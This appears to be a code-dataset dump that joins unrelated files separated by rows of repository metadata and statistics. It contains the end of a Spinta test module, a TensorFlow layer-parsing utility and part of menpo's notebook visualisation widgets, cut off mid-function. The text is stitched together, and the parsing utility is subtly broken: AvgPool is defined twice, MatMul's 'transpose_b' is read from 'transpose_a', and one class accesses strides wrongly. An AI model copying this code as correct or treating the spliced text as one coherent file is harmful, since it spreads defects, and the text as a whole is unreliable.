caplog: LogCaptureFixture,
):
rc = _prep_error_handling(tmpdir, sqlite, rc, responses, response=(
400,
{'content-type': 'application/json'},
'{"errors":[{"type": "system", "message": "ERROR"}]}',
))
# Push data from local to remote.
with caplog.at_level(logging.ERROR):
cli.invoke(rc, [
'push',
'-o', 'spinta+https://example.com',
'--credentials', tmpdir / 'credentials.cfg',
])
message = (
'Error when sending and receiving data. Model example/errors/City, '
'items in chunk: 2, first item in chunk:'
)
assert message in caplog.text
assert 'Server response (status=400):' in caplog.text
def test_error_handling_io_error(
rc: RawConfig,
cli: SpintaCliRunner,
responses: RequestsMock,
tmpdir,
sqlite: Sqlite,
caplog: LogCaptureFixture,
):
rc = _prep_error_handling(
tmpdir, sqlite, rc, responses,
exception=IOError('I/O error.'),
)
# Push data from local to remote.
with caplog.at_level(logging.ERROR):
cli.invoke(rc, [
'push',
'-o', 'spinta+https://example.com',
'--credentials', tmpdir / 'credentials.cfg',
])
message = (
'Error when sending and receiving data. Model example/errors/City, '
'items in chunk: 2, first item in chunk:'
)
assert message in caplog.text
assert 'Error: I/O error.' in caplog.text
def test_sql_views(rc: RawConfig, tmpdir: pathlib.Path, sqlite: Sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | b | m | property | type | ref | source | access
example/views | | | |
| resource | sql | sql | |
| | | City | | id | CITY_VIEW |
| | | | id | integer | | ID | private
| | | | name | string | | NAME | open
''')
# Configure local server with SQL backend
sqlite.init({
'CITY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.String),
],
})
sqlite.write('CITY', [
{'ID': 1, 'NAME': 'Vilnius'},
{'ID': 2, 'NAME': 'Kaunas'},
])
sqlite.engine.execute(
'CREATE VIEW CITY_VIEW AS '
'SELECT * FROM CITY'
)
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/example/views/City')
assert listdata(resp) == ['Kaunas', 'Vilnius']
@pytest.mark.skip('TODO')
def test_params(
postgresql,
rc: RawConfig,
cli: SpintaCliRunner,
responses,
tmpdir,
sqlite: Sqlite,
):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | b | m | property | type | ref | source | prepare
example/self/ref/param | | | |
| resource | sql | sql | |
| | | Category | | id | CATEGORY | parent = param(parent)
| | | | | param | parent | | null
| | | | | | | Category | select(id).id
| | | | id | integer | | ID |
| | | | name | string | | NAME |
| | | | parent | ref | Category | PARENT |
''')
# Configure local server with SQL backend
sqlite.init({
'CATEGORY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.String),
sa.Column('PARENT', sa.Integer, sa.ForeignKey('CATEGORY.ID')),
],
})
sqlite.write('CATEGORY', [
{
'ID': 1,
'NAME': 'Cat 1',
'PARENT': None,
},
{
'ID': 2,
'NAME': 'Cat 1.1',
'PARENT': 1,
},
])
app = create_client(rc, tmpdir, sqlite)
app.authmodel('example/self/ref/param', ['search'])
resp = app.get('/example/self/ref/param/Category?select(name)')
assert listdata(resp, sort=False) == ['Cat 1', 'Cat 1.1']
def test_cast(
postgresql,
rc: RawConfig,
cli: SpintaCliRunner,
responses,
tmpdir,
sqlite: Sqlite,
):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | b | m | property | type | ref | source | prepare
example/func/cast | | | |
| resource | sql | sql | |
| | | Data | | id | DATA |
| | | | id | string | | ID | cast()
''')
# Configure local server with SQL backend
sqlite.init({
'DATA': [
sa.Column('ID', sa.Integer),
],
})
sqlite.write('DATA', [{'ID': 1}])
app = create_client(rc, tmpdir, sqlite)
app.authmodel('example/func/cast', ['getall'])
resp = app.get('/example/func/cast/Data')
assert listdata(resp) == ['1']
| 40.795128
| 141
| 0.39285
| 8,114
| 102,151
| 4.866527
| 0.040794
| 0.02573
| 0.051055
| 0.038291
| 0.845899
| 0.818117
| 0.79178
| 0.766936
| 0.753311
| 0.746625
| 0
| 0.004554
| 0.460475
| 102,151
| 2,503
| 142
| 40.811426
| 0.711901
| 0.013157
| 0
| 0.725829
| 0
| 0.017749
| 0.585852
| 0.028412
| 0
| 0
| 0
| 0.0004
| 0.037833
| 1
| 0.029426
| false
| 0
| 0.01121
| 0.000467
| 0.043438
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0cad525453f99da46cdafec98f279d8bb03a651c
| 12,490
|
py
|
Python
|
core/parse_utils.py
|
cwh94/SimpleModelsInference
|
4be66d4d4d7aebcf104f363776b33d9a62e885f0
|
[
"Apache-2.0"
] | null | null | null |
core/parse_utils.py
|
cwh94/SimpleModelsInference
|
4be66d4d4d7aebcf104f363776b33d9a62e885f0
|
[
"Apache-2.0"
] | null | null | null |
core/parse_utils.py
|
cwh94/SimpleModelsInference
|
4be66d4d4d7aebcf104f363776b33d9a62e885f0
|
[
"Apache-2.0"
] | null | null | null |
from collections import OrderedDict
import numpy as np
from tensorflow.python.framework import tensor_util
class Para:
layers_dict = {}
class Identity:
def __init__(self, layer_para):
super(Identity, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = str(self.layer_para.name)
dic["op"] = str(self.layer_para.op)
dic["input"] = list(self.layer_para.input)
dic["type"] = self.layer_para.attr["T"].type
return dic
class Conv2D:
def __init__(self, layer_para):
super(Conv2D, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = str(self.layer_para.name)
dic["op"] = str(self.layer_para.op)
dic["input"] = list(self.layer_para.input)
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
dic["dilations"] = self.layer_para.attr["dilations"].list.i
# TODO
dic["explicit_paddings"] = self.layer_para.attr["explicit_paddings"].list
dic["padding"] = bytes.decode(self.layer_para.attr["padding"].s)
dic["strides"] = list(self.layer_para.attr["strides"].list.i)
dic["use_cudnn_on_gpu"] = self.layer_para.attr["use_cudnn_on_gpu"].b
return dic
class DepthwiseConv2dNative:
def __init__(self, layer_para):
super(DepthwiseConv2dNative, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
# #print(layer_dict)
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = bytes.decode(self.layer_para.attr["data_format"].s)
dic["dilations"] = self.layer_para.attr["dilations"].list.i
# TODO
dic["explicit_paddings"] = self.layer_para.attr["explicit_paddings"].list
dic["padding"] = bytes.decode(self.layer_para.attr["padding"].s)
dic["strides"] = self.layer_para.attr["strides"].list.i
dic["use_cudnn_on_gpu"] = self.layer_para.attr["use_cudnn_on_gpu"].b
return dic
class FusedBatchNorm:
def __init__(self, layer_para):
super(FusedBatchNorm, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
dic["epsilon"] = self.layer_para.attr["epsilon"].f
return dic
class Relu6:
def __init__(self, layer_para):
super(Relu6, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
# print(layer_dict)
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
return dic
class Relu:
def __init__(self, layer_para):
super(Relu, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
return dic
class AvgPool:
def __init__(self, layer_para):
super(AvgPool, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
dic["ksize"] = self.layer_para.attr["ksize"].list.i
dic["padding"] = self.layer_para.attr["padding"].s
dic["strides"] = self.layer_para.attr["strides"].i
return dic
class BiasAdd:
def __init__(self, layer_para):
super(BiasAdd, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
return dic
class Add:
def __init__(self, layer_para):
super(Add, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
# print(layer_dict)
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
return dic
class AddN:
def __init__(self, layer_para):
super(AddN, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
# print(layer_dict)
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
return dic
class AvgPool:
def __init__(self, layer_para):
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = bytes.decode(self.layer_para.attr["data_format"].s)
dic["padding"] = bytes.decode(self.layer_para.attr["padding"].s)
dic["strides"] = self.layer_para.attr["strides"].list.i
dic["ksize"] = self.layer_para.attr["ksize"].list.i
return dic
class MaxPool:
def __init__(self, layer_para):
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = bytes.decode(self.layer_para.attr["data_format"].s)
dic["padding"] = bytes.decode(self.layer_para.attr["padding"].s)
dic["strides"] = self.layer_para.attr["strides"].list.i
dic["ksize"] = self.layer_para.attr["ksize"].list.i
return dic
class Const:
def __init__(self, layer_para):
super(Const, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = str(self.layer_para.name)
dic["op"] = str(self.layer_para.op)
dic["input"] = list(self.layer_para.input)
dic["type"] = str(self.layer_para.attr["T"].type)
# TODO
n = len(self.layer_para.attr["value"].tensor.tensor_shape.dim)
shape = []
for i in range(n):
size = str(self.layer_para.attr["value"].tensor.tensor_shape.dim[i])
size = int(size.split(": ")[1])
shape.append(size)
dic["tensor_shape"] = shape
dic["tensor_content"] = np.reshape(
tensor_util.MakeNdarray(self.layer_para.attr["value"].tensor), shape)
return dic
class MatMul:
def __init__(self, layer_para):
super(MatMul, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = str(self.layer_para.name)
dic["op"] = str(self.layer_para.op)
dic["input"] = list(self.layer_para.input)
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
dic["transpose_a"] = self.layer_para.attr["transpose_a"].b
dic["transpose_b"] = self.layer_para.attr["transpose_a"].b
return dic
class Softmax:
def __init__(self, layer_para):
super(Softmax, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = str(self.layer_para.name)
dic["op"] = str(self.layer_para.op)
dic["input"] = list(self.layer_para.input)
dic["type"] = self.layer_para.attr["T"].type
return dic
class SoftMax:
def __init__(self, layer_para):
super(SoftMax, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = str(self.layer_para.name)
dic["op"] = str(self.layer_para.op)
dic["input"] = list(self.layer_para.input)
dic["type"] = self.layer_para.attr["T"].type
return dic
class Pad:
def __init__(self, layer_para):
super(Pad, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
# print(layer_dict)
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
return dic
class Mul:
def __init__(self, layer_para):
super(Mul, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
# print(layer_dict)
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
return dic
class Sub:
def __init__(self, layer_para):
super(Sub, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
# print(layer_dict)
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
return dic
class Reshape:
def __init__(self, layer_para):
super(Reshape, self).__init__()
self.layer_para = layer_para
cur_dict = self._parse()
Para.layers_dict[cur_dict["name"]] = cur_dict
def _parse(self):
dic = OrderedDict()
dic["name"] = self.layer_para.name
dic["op"] = self.layer_para.op
dic["input"] = self.layer_para.input
dic["type"] = self.layer_para.attr["T"].type
dic["data_format"] = self.layer_para.attr["data_format"].s
return dic
| 29.597156
| 81
| 0.601361
| 1,660
| 12,490
| 4.221084
| 0.053614
| 0.22606
| 0.289425
| 0.135864
| 0.918367
| 0.917511
| 0.856144
| 0.848152
| 0.848152
| 0.826745
| 0
| 0.000749
| 0.251721
| 12,490
| 421
| 82
| 29.667458
| 0.748984
| 0.011209
| 0
| 0.813115
| 0
| 0
| 0.087616
| 0
| 0
| 0
| 0
| 0.002375
| 0
| 1
| 0.131148
| false
| 0
| 0.009836
| 0
| 0.278689
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
0ccb1a74113b7c0adf7108f0545d0d28b50a880b
| 79,457
|
py
|
Python
|
menpo/visualize/widgets/base.py
|
jacksoncsy/menpo
|
3cac491fe30454935ed12fcaa89f453c5f6ec878
|
[
"BSD-3-Clause"
] | null | null | null |
menpo/visualize/widgets/base.py
|
jacksoncsy/menpo
|
3cac491fe30454935ed12fcaa89f453c5f6ec878
|
[
"BSD-3-Clause"
] | null | null | null |
menpo/visualize/widgets/base.py
|
jacksoncsy/menpo
|
3cac491fe30454935ed12fcaa89f453c5f6ec878
|
[
"BSD-3-Clause"
] | null | null | null |
import numpy as np
from collections import Sized
from menpo.visualize.viewmatplotlib import (MatplotlibImageViewer2d,
sample_colours_from_colourmap)
from .options import (channel_options, format_channel_options,
update_channel_options,
landmark_options, format_landmark_options,
update_landmark_options, info_print, format_info_print,
animation_options, format_animation_options,
save_figure_options, format_save_figure_options,
features_options, format_features_options, viewer_options,
format_viewer_options)
from .tools import logo, format_logo
# This glyph import is called frequently during visualisation, so we ensure
# that we only import it once
glyph = None
def visualize_pointclouds(pointclouds, figure_size=(10, 8), popup=False,
browser_style='buttons'):
r"""
Widget that allows browsing through a `list` of :map:`PointCloud`,
:map:`PointGraph` or :map:`TriMesh` or subclasses.
The widget has options tabs regarding the renderer (lines, markers, figure,
axes) and saving the figure to file.
Parameters
----------
pointclouds : `list` of :map:`PointCloud` or :map:`PointGraph` or :map:`TriMesh` or subclasses
The `list` of objects to be visualized.
figure_size : (`int`, `int`), optional
The initial size of the rendered figure.
popup : `bool`, optional
If ``True``, the widget will appear as a popup window.
browser_style : {``buttons``, ``slider``}, optional
It defines whether the selector of the objects will have the form of
plus/minus buttons or a slider.
"""
import IPython.display as ipydisplay
import IPython.html.widgets as ipywidgets
print('Initializing...')
# make sure that pointclouds is a list even with one pointcloud member
if not isinstance(pointclouds, Sized):
pointclouds = [pointclouds]
# find number of pointclouds
n_pointclouds = len(pointclouds)
# initial options dictionaries
lines_options = {'render_lines': True,
'line_width': 1,
'line_colour': ['r'],
'line_style': '-'}
markers_options = {'render_markers': True,
'marker_size': 20,
'marker_face_colour': ['r'],
'marker_edge_colour': ['k'],
'marker_style': 'o',
'marker_edge_width': 1}
figure_options = {'x_scale': 1.,
'y_scale': 1.,
'render_axes': False,
'axes_font_name': 'sans-serif',
'axes_font_size': 10,
'axes_font_style': 'normal',
'axes_font_weight': 'normal',
'axes_x_limits': None,
'axes_y_limits': None}
viewer_options_default = {'lines': lines_options,
'markers': markers_options,
'figure': figure_options}
index_selection_default = {'min': 0,
'max': n_pointclouds-1,
'step': 1,
'index': 0}
# define plot function
def plot_function(name, value):
import matplotlib.pyplot as plt
# clear current figure, but wait until the new data to be displayed are
# generated
ipydisplay.clear_output(wait=True)
# get selected pointcloud number
im = 0
if n_pointclouds > 1:
im = pointcloud_number_wid.selected_values['index']
# update info text widget
update_info(pointclouds[im])
# show pointcloud with selected options
tmp1 = viewer_options_wid.selected_values[0]['lines']
tmp2 = viewer_options_wid.selected_values[0]['markers']
tmp3 = viewer_options_wid.selected_values[0]['figure']
new_figure_size = (tmp3['x_scale'] * figure_size[0],
tmp3['y_scale'] * figure_size[1])
renderer = pointclouds[im].view(
figure_id=save_figure_wid.renderer[0].figure_id,
new_figure=False, image_view=axes_mode_wid.value == 1,
render_lines=tmp1['render_lines'],
line_colour=tmp1['line_colour'][0],
line_style=tmp1['line_style'], line_width=tmp1['line_width'],
render_markers=tmp2['render_markers'],
marker_style=tmp2['marker_style'], marker_size=tmp2['marker_size'],
marker_face_colour=tmp2['marker_face_colour'][0],
marker_edge_colour=tmp2['marker_edge_colour'][0],
marker_edge_width=tmp2['marker_edge_width'],
render_axes=tmp3['render_axes'],
axes_font_name=tmp3['axes_font_name'],
axes_font_size=tmp3['axes_font_size'],
axes_font_style=tmp3['axes_font_style'],
axes_font_weight=tmp3['axes_font_weight'],
axes_x_limits=tmp3['axes_x_limits'],
axes_y_limits=tmp3['axes_y_limits'],
figure_size=new_figure_size,
label=None)
plt.show()
# save the current figure id
save_figure_wid.renderer[0] = renderer
# define function that updates info text
def update_info(pointcloud):
min_b, max_b = pointcloud.bounds()
rang = pointcloud.range()
cm = pointcloud.centre()
info_wid.children[1].children[0].value = "> {} points.".\
format(pointcloud.n_points)
info_wid.children[1].children[1].value = "> Bounds: " \
"[{0:.1f}-{1:.1f}]W, " \
"[{2:.1f}-{3:.1f}]H.".\
format(min_b[0], max_b[0], min_b[1], max_b[1])
info_wid.children[1].children[2].value = "> Range: {0:.1f}W, " \
"{1:.1f}H.".\
format(rang[0], rang[1])
info_wid.children[1].children[3].value = "> Centre of mass: " \
"({0:.1f}, {1:.1f}).".\
format(cm[0], cm[1])
# viewer options widget
axes_mode_wid = ipywidgets.RadioButtonsWidget(
values={'Image': 1, 'Point cloud': 2}, description='Axes mode:',
value=2)
axes_mode_wid.on_trait_change(plot_function, 'value')
viewer_options_wid = viewer_options(viewer_options_default,
['lines', 'markers', 'figure_one'],
objects_names=None,
plot_function=plot_function,
toggle_show_visible=False,
toggle_show_default=True)
viewer_options_all = ipywidgets.ContainerWidget(children=[axes_mode_wid,
viewer_options_wid])
info_wid = info_print(n_bullets=4, toggle_show_default=True,
toggle_show_visible=False)
# save figure widget
initial_renderer = MatplotlibImageViewer2d(figure_id=None, new_figure=True,
image=np.zeros((10, 10)))
save_figure_wid = save_figure_options(initial_renderer,
toggle_show_default=True,
toggle_show_visible=False)
# create final widget
if n_pointclouds > 1:
# pointcloud selection slider
pointcloud_number_wid = animation_options(
index_selection_default, plot_function=plot_function,
index_description='Pointcloud Number', index_minus_description='<',
index_plus_description='>', index_style=browser_style,
index_text_editable=True, loop_default=True, interval_default=0.3,
toggle_show_title='Pointcloud Options', toggle_show_default=True,
toggle_show_visible=False)
# final widget
logo_wid = ipywidgets.ContainerWidget(children=[logo(),
pointcloud_number_wid])
button_title = 'Pointclouds Menu'
else:
# final widget
logo_wid = logo()
button_title = 'Pointcloud Menu'
# create popup widget if asked
cont_wid = ipywidgets.TabWidget(children=[info_wid, viewer_options_all,
save_figure_wid])
if popup:
wid = ipywidgets.PopupWidget(children=[logo_wid, cont_wid],
button_text=button_title)
else:
wid = ipywidgets.ContainerWidget(children=[logo_wid, cont_wid])
# display final widget
ipydisplay.display(wid)
# set final tab titles
tab_titles = ['Info', 'Viewer options', 'Save figure']
for (k, tl) in enumerate(tab_titles):
wid.children[1].set_title(k, tl)
# align-start the pointcloud number widget and the rest
if n_pointclouds > 1:
wid.add_class('align-start')
# format options' widgets
if n_pointclouds > 1:
wid.children[0].remove_class('vbox')
wid.children[0].add_class('hbox')
format_animation_options(pointcloud_number_wid,
index_text_width='1.0cm',
container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_viewer_options(viewer_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False,
suboptions_border_visible=True)
format_info_print(info_wid, font_size_in_pt='10pt', container_padding='6px',
container_margin='6px',
container_border='1px solid gray',
toggle_button_font_weight='bold', border_visible=False)
format_save_figure_options(save_figure_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
tab_top_margin='0cm', border_visible=False)
# Reset value to trigger initial visualization
axes_mode_wid.value = 1
def visualize_landmarkgroups(landmarkgroups, figure_size=(10, 8), popup=False,
browser_style='buttons'):
r"""
Widget that allows browsing through a `list` of :map:`LandmarkGroup`
(or subclass) objects.
The landmark groups can have a combination of different attributes, e.g.
different labels, number of points etc. The widget has options tabs
regarding the landmarks, the renderer (lines, markers, numbering, legend,
figure, axes) and saving the figure to file.
Parameters
----------
landmarkgroups : `list` of :map:`LandmarkGroup` or subclass
The `list` of landmark groups to be visualized.
figure_size : (`int`, `int`), optional
The initial size of the rendered figure.
popup : `bool`, optional
If ``True``, the widget will appear as a popup window.
browser_style : {``buttons``, ``slider``}, optional
It defines whether the selector of the landmark managers will have the
form of plus/minus buttons or a slider.
"""
import IPython.display as ipydisplay
import IPython.html.widgets as ipywidgets
print('Initializing...')
# make sure that landmarkgroups is a list even with one landmark group
# member
if not isinstance(landmarkgroups, list):
landmarkgroups = [landmarkgroups]
# find number of landmarkgroups
n_landmarkgroups = len(landmarkgroups)
# find all available groups and the respective labels from all the landmarks
# that are passed in
all_groups = []
all_labels = []
groups_l = 0
for i, l in enumerate(landmarkgroups):
labels_l = l.labels
if labels_l not in all_labels:
groups_l += 1
all_groups.append(str(groups_l))
all_labels.append(labels_l)
# get initial line colours for each available group
line_colours = []
for l in all_labels:
if len(l) == 1:
line_colours.append(['r'])
else:
line_colours.append(sample_colours_from_colourmap(len(l), 'jet'))
# initial options dictionaries
landmark_options_default = {'render_landmarks': True,
'group_keys': ['0'],
'labels_keys': [landmarkgroups[0].labels],
'group': None,
'with_labels': None}
index_selection_default = {'min': 0,
'max': n_landmarkgroups-1,
'step': 1,
'index': 0}
markers_options = {'render_markers': True,
'marker_size': 20,
'marker_face_colour': ['r'],
'marker_edge_colour': ['k'],
'marker_style': 'o',
'marker_edge_width': 1}
numbering_options = {'render_numbering': False,
'numbers_font_name': 'sans-serif',
'numbers_font_size': 10,
'numbers_font_style': 'normal',
'numbers_font_weight': 'normal',
'numbers_font_colour': ['k'],
'numbers_horizontal_align': 'center',
'numbers_vertical_align': 'bottom'}
legend_options = {'render_legend': True,
'legend_title': '',
'legend_font_name': 'sans-serif',
'legend_font_style': 'normal',
'legend_font_size': 10,
'legend_font_weight': 'normal',
'legend_marker_scale': 1.,
'legend_location': 2,
'legend_bbox_to_anchor': (1.05, 1.),
'legend_border_axes_pad': 1.,
'legend_n_columns': 1,
'legend_horizontal_spacing': 1.,
'legend_vertical_spacing': 1.,
'legend_border': True,
'legend_border_padding': 0.5,
'legend_shadow': False,
'legend_rounded_corners': False}
figure_options = {'x_scale': 1.,
'y_scale': 1.,
'render_axes': False,
'axes_font_name': 'sans-serif',
'axes_font_size': 10,
'axes_font_style': 'normal',
'axes_font_weight': 'normal',
'axes_x_limits': None,
'axes_y_limits': None}
viewer_options_default = []
for i in range(len(all_labels)):
lines_options_default = {'render_lines': True,
'line_width': 1,
'line_colour': line_colours[i],
'line_style': '-'}
tmp = {'lines': lines_options_default,
'markers': markers_options,
'numbering': numbering_options,
'legend': legend_options,
'figure': figure_options}
viewer_options_default.append(tmp)
# Define plot function
def plot_function(name, value):
import matplotlib.pyplot as plt
# clear current figure, but wait until the new data to be displayed are
# generated
ipydisplay.clear_output(wait=True)
# get selected pointcloud number
im = 0
if n_landmarkgroups > 1:
im = landmark_number_wid.selected_values['index']
# update info text widget
update_info(landmarkgroups[im])
# show landmarks with selected options
group_idx = all_labels.index(landmarkgroups[im].labels)
tmp1 = viewer_options_wid.selected_values[group_idx]['lines']
tmp2 = viewer_options_wid.selected_values[group_idx]['markers']
tmp3 = viewer_options_wid.selected_values[group_idx]['numbering']
tmp4 = viewer_options_wid.selected_values[group_idx]['legend']
tmp5 = viewer_options_wid.selected_values[group_idx]['figure']
new_figure_size = (tmp5['x_scale'] * figure_size[0],
tmp5['y_scale'] * figure_size[1])
n_labels = len(landmark_options_wid.selected_values['with_labels'])
renderer = landmarkgroups[im].view(
with_labels=landmark_options_wid.selected_values['with_labels'],
figure_id=save_figure_wid.renderer[0].figure_id,
new_figure=False, image_view=axes_mode_wid.value == 1,
render_lines=tmp1['render_lines'],
line_colour=tmp1['line_colour'][:n_labels],
line_style=tmp1['line_style'], line_width=tmp1['line_width'],
render_markers=tmp2['render_markers'],
marker_style=tmp2['marker_style'], marker_size=tmp2['marker_size'],
marker_face_colour=tmp2['marker_face_colour'][0],
marker_edge_colour=tmp2['marker_edge_colour'][0],
marker_edge_width=tmp2['marker_edge_width'],
render_numbering=tmp3['render_numbering'],
numbers_font_name=tmp3['numbers_font_name'],
numbers_font_size=tmp3['numbers_font_size'],
numbers_font_style=tmp3['numbers_font_style'],
numbers_font_weight=tmp3['numbers_font_weight'],
numbers_font_colour=tmp3['numbers_font_colour'][0],
numbers_horizontal_align=tmp3['numbers_horizontal_align'],
numbers_vertical_align=tmp3['numbers_vertical_align'],
legend_n_columns=tmp4['legend_n_columns'],
legend_border_axes_pad=tmp4['legend_border_axes_pad'],
legend_rounded_corners=tmp4['legend_rounded_corners'],
legend_title=tmp4['legend_title'],
legend_horizontal_spacing=tmp4['legend_horizontal_spacing'],
legend_shadow=tmp4['legend_shadow'],
legend_location=tmp4['legend_location'],
legend_font_name=tmp4['legend_font_name'],
legend_bbox_to_anchor=tmp4['legend_bbox_to_anchor'],
legend_border=tmp4['legend_border'],
legend_marker_scale=tmp4['legend_marker_scale'],
legend_vertical_spacing=tmp4['legend_vertical_spacing'],
legend_font_weight=tmp4['legend_font_weight'],
legend_font_size=tmp4['legend_font_size'],
render_legend=tmp4['render_legend'],
legend_font_style=tmp4['legend_font_style'],
legend_border_padding=tmp4['legend_border_padding'],
render_axes=tmp5['render_axes'],
axes_font_name=tmp5['axes_font_name'],
axes_font_size=tmp5['axes_font_size'],
axes_font_style=tmp5['axes_font_style'],
axes_font_weight=tmp5['axes_font_weight'],
axes_x_limits=tmp5['axes_x_limits'],
axes_y_limits=tmp5['axes_y_limits'],
figure_size=new_figure_size)
plt.show()
# save the current figure id
save_figure_wid.renderer[0] = renderer
# define function that updates info text
def update_info(landmarkgroup):
min_b, max_b = landmarkgroup.values()[0].bounds()
rang = landmarkgroup.values()[0].range()
cm = landmarkgroup.values()[0].centre()
info_wid.children[1].children[0].value = "> {} landmark points.".\
format(landmarkgroup.values()[0].n_points)
info_wid.children[1].children[1].value = "> Bounds: " \
"[{0:.1f}-{1:.1f}]W, " \
"[{2:.1f}-{3:.1f}]H.".\
format(min_b[0], max_b[0], min_b[1], max_b[1])
info_wid.children[1].children[2].value = "> Range: {0:.1f}W, " \
"{1:.1f}H.".\
format(rang[0], rang[1])
info_wid.children[1].children[3].value = "> Centre of mass: " \
"({0:.1f}, {1:.1f}).".\
format(cm[0], cm[1])
info_wid.children[1].children[4].value = "> Norm is {0:.2f}.".\
format(landmarkgroup.values()[0].norm())
# create options widgets
